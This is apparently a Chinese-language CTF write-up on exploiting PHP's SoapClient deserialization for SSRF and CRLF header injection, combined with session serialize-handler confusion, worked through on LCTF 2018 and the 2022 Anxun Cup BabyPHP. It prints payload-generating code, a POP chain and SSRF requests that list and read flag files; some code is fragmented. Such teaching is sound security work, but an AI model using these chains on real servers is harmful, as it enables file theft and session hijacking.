提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

目录

前言

一、PHP SOAP

二、漏洞成因

三、 题目知识准备

1、PHP Session反序列化

         2、题目相关函数

四、[LCTF 2018]bestphp's revenge

五、2022安洵杯 BabyPHP

前言

提示：这里可以添加本文要记录的大概内容：

今天有一位学弟在安洵杯结束后，发了安洵杯babyPHP的题目跟我探讨，自己看了一下，发现也确实没有碰到过，但是在网上搜到了相应的CTF例题，所以研究了一下，写个总结。

提示：以下是本篇文章正文内容，下面案例可供参考

一、php SOAP

SOAP是WEBService三要素之一，SOAP称为简单对象访问协议，是连接Web服务或客户端和Web服务器之间的接口。采用的是XML作为数据传送格式，Http为底层通讯协议。

在PHP中，SOAP扩展有几个类，本次用到的主要是SoapClient类，解释如下:

public SoapClient :: SoapClient （mixed $wsdl [，array $options ]）

第一个参数指明是否为wsdl模式，NULL为非wsdl模式，非wsdl模式下进行反序列化的时候会对第二个参数中的url和locaition进行远程soap请求。

第二个参数是数组，表示soap请求的一些参数和属性。

在PHP中，要使用SoapClient，需要在php.ini中开启PHP扩展

二、漏洞成因

在原生的PHP SoapClient类中，存在__call魔术方法，当调用不存在的方法时候会自动调用此方法，对location中的URL进行请求，先来看一下。

 $target,    'user_agent' => "aiwin",    'uri' => "123"));$payload = serialize($attack);echo $payload;$c=unserialize($payload);$c->not_function();

 可以看到Soap利用HTTP协议传输，传输的数据格式的XML。

 重要的是可以看到发送的请求中，uri参数和user_agent参数可控，可以自定义发送soap请求的值，在HTTP请求中，我们知道每一个头部属性值都是通过\r\n换行进行间隔，那么原生Soap就可以通过user_agent通过注入\r\n恶意的换行注入Cookie或者一些其它属性代码，造成CRLF注入。

 $target,    'user_agent' => "aiwin\r\nCookie: PHPSESSID=123456\r\n",    'uri' => "123"));$payload = serialize($attack);echo $payload;$c=unserialize($payload);$c->not_function();

 可以看到，恶意注入了Cookie会话，CRLF确实可行。

三、 题目知识准备

1、PHP Session反序列化

在php session中，存在一部分参数规定关于session的操作。

 session.save_handler 表示session的保存形式是file。

 session.save_path 表示session的保存路径，一般linux在/tmp/sess_id。

 session.serialize_handler 表示session序列化的存储器，默认的php，还有php_serialize、php_binary。

session.upload_progress_cleanup表示读取了数据后，会立即清除掉session的进度信息。

session.upload_progress_enable表示upload_progress功能启动，即浏览器向服务器上传文件时，php会把此次文件上传的详细信息存储在session中。

session.upload_progress中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。

session.use_strict_mode中的值为off，表示Cookie中的sessionid可控。

 关于三种处理器的区别：

处理器为php时，session的内容是键名+竖线+经过序列化函数后反序列化的值，如name|s:5:"aiwin";

处理器为php_binary  内容是ASCII字符+键名+序列化函数后反序列化的值，如a:1:{s:4:"name";s:5:"aiwin";}

处理器为php_serialize 内容是经过序列化后反序列化的数组，如 二进制字符names:5:"aiwin";

那么当session反序列化和序列化的时候使用不同的引擎，即可触发错误，比如，$_SESSION['test'] = '|aiwin'，用php_serialize得到的内容为，a:1:{s:4:”name”;s:6:”|aiwin”;}，

使用php引擎时，|是分隔符，所以aiwin被当成了值传入了$_SESSION。

2、题目相关函数

（1）call_user_func($value1，$value2)

把第一个参数作为回调函数调用。

 "test", "b" => "Aiwin");extract($test);echo "$a=$a"?>输出:test=test

 $target,    'user_agent' => "aiwin\r\nCookie:PHPSESSID=123456\r\n",    'uri' => "http://127.0.0.1/"));$se = serialize($b);echo "|".urlencode($se);

a = "babyhacker";    }    public function __invoke()    {        if (isset($this->a) && $this->a == md5($this->a)) {            $this->b->uwant();        }    }}class B{    public $a;    public $b;    public $k;    function __destruct()    {        $this->b = $this->k;        die($this->a);    }}class C{    public $a;    public $c;    public function __toString()    {        $cc = $this->c;        return $cc();    }    public function uwant()    {        if ($this->a == "phpinfo") {            phpinfo();        } else {            call_user_func(array(reset($_SESSION), $this->a));        }    }}if (isset($_GET['d0g3'])) {    ini_set($_GET['baby'], $_GET['d0g3']);    session_start();    $_SESSION['sess'] = $_POST['sess'];}else{    session_start();    if (isset($_POST["pop"])) {        unserialize($_POST["pop"]);    }}var_dump($_SESSION);highlight_file(__FILE__);

a=new C;$a->a->c=new A;$a->a->c->b=new C;echo serialize($a);

$target = 'http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*';$b = new SoapClient(null, array('location' => $target,    'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",    'uri' => "http://127.0.0.1/"));$a = serialize($b);echo "|" . urlencode($a);

$target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';$b = new SoapClient(null, array('location' => $target,    'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",    'uri' => "http://127.0.0.1/"));$a = serialize($b);echo "|" . urlencode($a);